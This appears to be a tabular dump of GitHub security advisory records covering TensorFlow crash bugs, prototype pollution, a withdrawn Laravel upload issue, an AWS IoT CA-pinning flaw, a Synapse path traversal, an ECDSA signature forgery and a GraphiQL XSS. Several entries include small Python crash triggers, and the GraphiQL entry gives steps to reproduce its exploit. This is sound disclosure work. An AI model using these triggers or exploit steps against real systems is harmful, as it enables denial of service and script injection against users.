schema_version
stringclasses 1
value | id
stringlengths 19
19
| modified
stringlengths 20
20
| published
stringlengths 20
20
| withdrawn
stringlengths 20
20
⌀ | aliases
stringlengths 2
20
| summary
stringlengths 3
183
| details
stringlengths 9
12.9k
| severity
stringlengths 2
92
| affected
stringlengths 84
2.74k
| references
stringlengths 99
16.4k
| database_specific
stringlengths 131
210
|
|---|---|---|---|---|---|---|---|---|---|---|---|
1.4.0
|
GHSA-xrqm-fpgr-6hhx
|
2021-11-08T22:47:54Z
|
2021-11-10T19:13:16Z
| null |
['CVE-2021-41202']
|
Overflow/crash in `tf.range`
|
### Impact
While calculating the size of the output within the `tf.range` kernel, there is a conditional statement of type `int64 = condition ? int64 : double`. Due to C++ implicit conversion rules, both branches of the condition will be cast to `double` and the result would be truncated before the assignment. This result in overflows:
```python
import tensorflow as tf
tf.sparse.eye(num_rows=9223372036854775807, num_columns=None)
```
Similarly, `tf.range` would result in crashes due to overflows if the start or end point are too large.
```python
import tensorflow as tf
tf.range(start=-1e+38, limit=1)
```
### Patches
We have patched the issue in GitHub commits [6d94002a09711d297dbba90390d5482b76113899](https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899) (merging [#51359](https://github.com/tensorflow/tensorflow/pull/51359)) and [1b0e0ec27e7895b9985076eab32445026ae5ca94](https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94) (merging [#51711](https://github.com/tensorflow/tensorflow/pull/51711)).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported externally via [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46912), [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46899) and [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46889).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xrqm-fpgr-6hhx'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41202'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/issues/46889'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/issues/46912'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-681'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:47:54Z', 'nvd_published_at': '2021-11-05T22:15:00Z'}
|
1.4.0
|
GHSA-m539-j985-hcr8
|
2021-11-08T22:56:11Z
|
2021-11-10T19:36:21Z
| null |
['CVE-2021-41196']
|
Crash in `max_pool3d` when size argument is 0 or negative
|
### Impact
The Keras pooling layers can trigger a segfault if the size of the pool is 0 or if a dimension is negative:
```python
import tensorflow as tf
pool_size = [2, 2, 0]
layer = tf.keras.layers.MaxPooling3D(strides=1, pool_size=pool_size)
input_tensor = tf.random.uniform([3, 4, 10, 11, 12], dtype=tf.float32)
res = layer(input_tensor)
```
This is due to the TensorFlow's implementation of pooling operations where the values in the sliding window are not checked to be strictly positive.
### Patches
We have patched the issue in GitHub commit [12b1ff82b3f26ff8de17e58703231d5a02ef1b8b](https://github.com/tensorflow/tensorflow/commit/12b1ff82b3f26ff8de17e58703231d5a02ef1b8b) (merging [#51975](https://github.com/tensorflow/tensorflow/pull/51975)).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/51936).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m539-j985-hcr8'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41196'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/issues/51936'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/12b1ff82b3f26ff8de17e58703231d5a02ef1b8b'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-191'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:56:11Z', 'nvd_published_at': '2021-11-05T20:15:00Z'}
|
1.4.0
|
GHSA-vpf5-82c8-9v36
|
2022-07-05T18:01:27Z
|
2021-11-23T21:15:35Z
| null |
['CVE-2021-23433']
|
Prototype Pollution in algoliasearch-helper
|
The package algoliasearch-helper before 3.6.2 are vulnerable to Prototype Pollution due to use of the merge function in src/SearchParameters/index.jsSearchParameters._parseNumbers without any protection against prototype properties. Note that this vulnerability is only exploitable if the implementation allows users to define arbitrary search patterns.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'algoliasearch-helper'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.6.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23433'}, {'type': 'WEB', 'url': 'https://github.com/algolia/algoliasearch-helper-js/commit/4ff542b70b92a6b81cce8b9255700b0bc0817edd'}, {'type': 'PACKAGE', 'url': 'https://github.com/algolia/algoliasearch-helper-js'}, {'type': 'WEB', 'url': 'https://github.com/algolia/algoliasearch-helper-js/blob/3.5.5/src/SearchParameters/index.js%23L291'}, {'type': 'WEB', 'url': 'https://snyk.io/vuln/SNYK-JS-ALGOLIASEARCHHELPER-1570421'}]
|
{'cwe_ids': ['CWE-1321', 'CWE-915'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T19:34:30Z', 'nvd_published_at': '2021-11-19T20:15:00Z'}
|
1.4.0
|
GHSA-364w-9g92-3grq
|
2021-11-17T22:04:33Z
|
2021-11-16T23:40:08Z
|
2021-11-17T15:41:54Z
|
['CVE-2021-43617']
|
Withdrawn: Laravel Framework does not sufficiently block the upload of executable PHP content.
|
# Withdrawn
This advisory has been withdrawn after the maintainers of Laravel noted this issue is not a security vulnerability with Laravel itself, but rather a userland issue.
## Original CVE based description
Laravel Framework through 8.70.2 does not sufficiently block the upload of executable PHP content because Illuminate/Validation/Concerns/ValidatesAttributes.php lacks a check for .phar files, which are handled as application/x-httpd-php on systems based on Debian. In some use cases, this may be related to file-type validation for image upload (e.g., differences between getClientOriginalExtension and other approaches).
|
[]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'laravel/framework'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '8.70.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43617'}, {'type': 'PACKAGE', 'url': 'https://github.com/laravel/framework'}, {'type': 'WEB', 'url': 'https://github.com/laravel/framework/blob/2049de73aa099a113a287587df4cc522c90961f5/src/Illuminate/Validation/Concerns/ValidatesAttributes.php#L1130-L1132'}, {'type': 'WEB', 'url': 'https://github.com/laravel/framework/blob/2049de73aa099a113a287587df4cc522c90961f5/src/Illuminate/Validation/Concerns/ValidatesAttributes.php#L1331-L1333'}, {'type': 'WEB', 'url': 'https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b'}, {'type': 'WEB', 'url': 'https://salsa.debian.org/php-team/php/-/blob/dc253886b5b2e9bc8d9e36db787abb083a667fd8/debian/php-cgi.conf#L5-6'}, {'type': 'WEB', 'url': 'https://salsa.debian.org/php-team/php/-/commit/dc253886b5b2e9bc8d9e36db787abb083a667fd8'}]
|
{'cwe_ids': ['CWE-434'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-15T22:20:46Z', 'nvd_published_at': '2021-11-14T16:15:00Z'}
|
1.4.0
|
GHSA-c4rh-4376-gff4
|
2021-12-03T15:22:02Z
|
2021-11-24T21:12:04Z
| null |
['CVE-2021-40830']
|
Improper certificate management in AWS IoT Device SDK v2
|
The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on Unix systems. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host's trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker's data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user's private keys to authenticate against the MQTT broker. The 'aws_tls_ctx_options_override_default_trust_store_*' function within the aws-c-io submodule has been updated to override the default trust store. This corrects this issue. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Linux/Unix. Amazon Web Services AWS-C-IO 0.10.4 on Linux/Unix.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.5.0'}]}]}, {'package': {'ecosystem': 'npm', 'name': 'aws-iot-device-sdk-v2'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.5.3'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'awsiotsdk'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.6.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-40830'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-cpp-v2'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-java-v2'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-js-v2'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-python-v2'}, {'type': 'WEB', 'url': 'https://github.com/awslabs/aws-c-io/'}]
|
{'cwe_ids': ['CWE-295'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-24T20:28:03Z', 'nvd_published_at': '2021-11-23T00:15:00Z'}
|
1.4.0
|
GHSA-3hfw-x7gx-437c
|
2021-11-23T21:45:31Z
|
2021-11-23T21:58:56Z
| null |
['CVE-2021-41281']
|
Path traversal in Matrix Synapse
|
### Impact
Synapse instances with the media repository enabled can be tricked into downloading a file from a remote server into an arbitrary directory, potentially outside the media store directory.
The last two directories and file name of the path are chosen randomly by Synapse and cannot be controlled by an attacker, which limits the impact.
Homeservers with the media repository disabled are unaffected. Homeservers configured with a federation whitelist are also unaffected.
### Patches
Server administrators should upgrade to 1.47.1 or later.
### Workarounds
Server administrators using a reverse proxy could, at the expense of losing media functionality, block the following endpoints:
* `/_matrix/media/r0/download/{serverName}/{mediaId}`
* `/_matrix/media/r0/download/{serverName}/{mediaId}/{fileName}`
* `/_matrix/media/r0/thumbnail/{serverName}/{mediaId}`
Alternatively, non-containerized deployments can be adapted to use the hardened systemd config, located at `contrib/systemd/override-hardened.conf`.
### References
n/a
### For more information
If you have any questions or comments about this advisory, e-mail us at security@matrix.org.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'matrix-synapse'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.47.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/security/advisories/GHSA-3hfw-x7gx-437c'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41281'}, {'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/commit/91f2bd090'}, {'type': 'PACKAGE', 'url': 'https://github.com/matrix-org/synapse'}, {'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/releases/tag/v1.47.1'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EU7QRE55U4IUEDLKT5IYPWL3UXMELFAS/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/N3WY56LCEZ4ZECLWV5KMAXF2PSMUB4F2/'}]
|
{'cwe_ids': ['CWE-22'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-23T18:44:39Z', 'nvd_published_at': '2021-11-23T20:15:00Z'}
|
1.4.0
|
GHSA-vwhq-49r4-gj9v
|
2021-11-08T22:24:08Z
|
2021-11-10T18:58:16Z
| null |
['CVE-2021-41214']
|
Reference binding to `nullptr` in `tf.ragged.cross`
|
### Impact
The [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) has an undefined behavior due to binding a reference to `nullptr`. In the following scenario, this results in a crash:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.ragged.cross([tf.ragged.constant([['1']]),'2'])
return y
test()
```
### Patches
We have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vwhq-49r4-gj9v'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41214'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-824'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:24:08Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-r28h-x6hv-2fq3
|
2021-11-15T14:43:04Z
|
2021-11-10T20:48:00Z
| null |
['CVE-2021-43570']
|
Improper Verification of Cryptographic Signature in starkbank-ecdsa
|
The verify function in the Stark Bank Java ECDSA library (ecdsa-java) 1.0.0 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'com.starkbank:starkbank-ecdsa'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43570'}, {'type': 'WEB', 'url': 'https://github.com/starkbank/ecdsa-java/pull/16'}, {'type': 'WEB', 'url': 'https://github.com/starkbank/ecdsa-java/commit/ed22e484186d6c66d3686bfe39d01bdbabf219b6'}, {'type': 'PACKAGE', 'url': 'https://github.com/starkbank/ecdsa-java'}, {'type': 'WEB', 'url': 'https://github.com/starkbank/ecdsa-java/releases/tag/v1.0.1'}, {'type': 'WEB', 'url': 'https://research.nccgroup.com/2021/11/08/technical-advisory-arbitrary-signature-forgery-in-stark-bank-ecdsa-libraries/'}]
|
{'cwe_ids': ['CWE-347'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-10T18:25:02Z', 'nvd_published_at': '2021-11-09T22:15:00Z'}
|
1.4.0
|
GHSA-x4r7-m2q9-69c8
|
2021-11-04T19:36:52Z
|
2021-11-08T18:03:50Z
| null |
['CVE-2021-41248']
|
GraphiQL introspection schema template injection attack
|
- [1. Impact](#11-impact)
- [2. Scope](#12-scope)
- [3. Patches](#13-patches)
- [3.1 CDN bundle implementations may be automatically patched](#131-cdn-bundle-implementations-may-be-automatically-patched)
- [4. Workarounds for Older Versions](#14-workarounds-for-older-versions)
- [5. How to Re-create the Exploit](#15-how-to-re-create-the-exploit)
- [6. Credit](#16-credit)
- [7. References](#17-references)
- [8. For more information](#18-for-more-information)
This is a security advisory for an XSS vulnerability in `graphiql`.
A similar vulnerability affects `graphql-playground`, a fork of `graphiql`. There is a corresponding `graphql-playground` [advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw).
## 1. Impact
All versions of `graphiql` older than [`graphiql@1.4.7`](https://github.com/graphql/graphiql/releases/tag/v1.4.7) are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.
In order for the attack to take place, the user must load a vulnerable schema in `graphiql`. There are a number of ways that can occur.
By default, the schema URL is _not_ attacker-controllable in `graphiql` or in its suggested implementations or examples, leaving only very complex attack vectors.
If a custom implementation of `graphiql`'s `fetcher` allows the schema URL to be set dynamically, such as a URL query parameter like `?endpoint=` in `graphql-playground`, or a database provided value, then this custom `graphiql` implementation is _vulnerable to phishing attacks_, and thus much more readily available, low or no privelege level xss attacks. The URLs could look like any generic looking graphql schema URL.
Because this exposes an XSS attack surface, it would be possible for a threat actor to exfiltrate user credentials, data, etc. using arbitrary malicious scripts, without it being known to the user.
## 2. Scope
This advisory describes the impact on the `graphiql` package. The vulnerability also affects other projects forked from `graphiql` such as [`graphql-playground`](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and the `graphql-playground` fork distributed by Apollo Server. The impact is more severe in the `graphql-playground` implementations; see the [`graphql-playground` advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.
This vulnerability does not impact `codemirror-graphql`, `monaco-graphql` or other dependents, as it exists in `onHasCompletion.ts` in `graphiql`. It does impact all forks of `graphiql`, and every released version of `graphiql`.
It should be noted that desktop clients such as Altair, Insomnia, Postwoman, do not appear to be impacted by this.
## 3. Patches
`graphiql@1.4.7` addresses this issue via defense in depth.
- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.
- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explorer from loading.) This change is also sufficient to fix the known vulnerability. You can disable this validation by setting `dangerouslyAssumeSchemaIsValid={true}`, which means you are relying only on escaping values to protect you from this attack.
- **Ensuring that user-generated HTML is safe**. Schemas can contain Markdown in `description` and `deprecationReason` fields, and the web app renders them to HTML using the `markdown-it` library. As part of the development of `graphiql@1.4.7`, we verified that our use of `markdown-it` prevents the inclusion of arbitrary HTML. We use `markdown-it` without setting `html: true`, so we are comfortable relying on [`markdown-it`'s HTML escaping](https://github.com/markdown-it/markdown-it/blob/master/docs/security.md) here. We considered running a second level of sanitization over all rendered Markdown using a library such as `dompurify` but believe that is unnecessary as `markdown-it`'s sanitization appears to be adequate. `graphiql@1.4.7` does update to the latest version of `markdown-it` (v12, from v10) so that any security fixes in v11 and v12 will take effect.
### 3.1 CDN bundle implementations may be automatically patched
Note that if your implementation is depending on a CDN version of `graphiql`, and is pointed to the `latest` tag (usually the default for most cdns if no version is specified) then this issue is already mitigated, in case you were vulnerable to it before.
## 4. Workarounds for Older Versions
If you cannot use `graphiql@1.4.7` or later
- Always use a static URL to a trusted server that is serving a trusted GraphQL schema.
- If you have a custom implementation that allows using user-provided schema URLs via a query parameter, database value, etc, you must either disable this customization, or only allow trusted URLs.
## 5. How to Re-create the Exploit
You can see an example on [codesandbox](https://codesandbox.io/s/graphiql-xss-exploit-gr22f?file=/src/App.js). These are both fixed to the last `graphiql` release `1.4.6` which is the last vulnerable release; however it would work with any previous release of `graphiql`.
Both of these examples are meant to demonstrate the phishing attack surface, so they are customized to accept a `url` parameter. To demonstrate the phishing attack, add `?url=https://graphql-xss-schema.netlify.app/graphql` to the in-codesandbox browser.
Erase the contents of the given query and type `{u`. You will see an alert window open, showing that attacker-controlled code was executed.
Note that when React is in development mode, a validation exception is thrown visibly; however that exception is usually buried in the browser console in a production build of `graphiql`. This validation exception comes from `getDiagnostics`, which invokes `graphql` `validate()` which in turn will `assertValidSchema()`, as `apollo-server-core` does on executing each operation. This validation does not prevent the exploit from being successful.
Note that something like the `url` parameter is not required for the attack to happen if `graphiql`'s `fetcher` is configured in a different way to communicate with a compromised GraphQL server.
## 6. Credit
This vulnerability was discovered by [@Ry0taK](https://github.com/Ry0taK), thank you! :1st_place_medal:
Others who contributed:
- [@imolorhe](https://github.com/imolorhe)
- [@glasser](https://github.com/glasser)
- [@divyenduz](https://github.com/divyenduz)
- [@dotansimha](https://github.com/dotansimha)
- [@acao](https://github.com/acao)
- [@benjie](https://github.com/benjie) and many others who provided morale support
## 7. References
**The vulnerability has always been present**
[In the first commit](https://github.com/graphql/graphiql/commit/b9dec272d89d9c590727fd10d62e4a47e0317fc7#diff-855b77f6310b7e4fb1bcac779cd945092ed49fd759f4684ea391b45101166437R87)
[And later moved to onHasCompletion.js in 2016](https://github.com/graphql/graphiql/commit/6701b0b626e43800e32413590a295e5c1e3d5419#diff-d45eb76aebcffd27d3a123214487116fa95e0b5a11d70a94a0ce3033ce09f879R110) (now `.ts` after the typescript migration)
## 8. For more information
If you have any questions or comments about this advisory:
- Open an issue in [graphiql repo](https://github.com/graphql/graphiql/new/issues)
- Read [more details](https://github.com/graphql/graphiql/blob/main/docs/security/2021-introspection-schema-xss.md#2-more-details-on-the-vulnerability) on the vulnerability
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L'}]
|
